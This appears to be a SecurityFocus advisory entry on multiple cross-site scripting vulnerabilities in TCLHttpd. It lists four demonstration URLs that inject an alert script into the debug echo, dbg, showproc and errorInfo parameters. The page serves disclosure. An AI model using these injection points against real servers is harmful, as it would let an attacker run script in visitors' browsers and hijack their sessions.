• info
• discussion
• exploit
• solution
• references

TCLHttpd Multiple Cross-Site Scripting Vulnerabilities

There is no exploit code required. The following example (edited by SecurityFocus) was provided:

http://example/debug/echo?name=<script>alert('hello');</script>
http://example/debug/dbg?host=<script>alert('hello');</script>
http://example/debug/showproc?proc=<script>alert('hello');</script>
http://example/debug/errorInfo?title=<script>alert('hello');</script>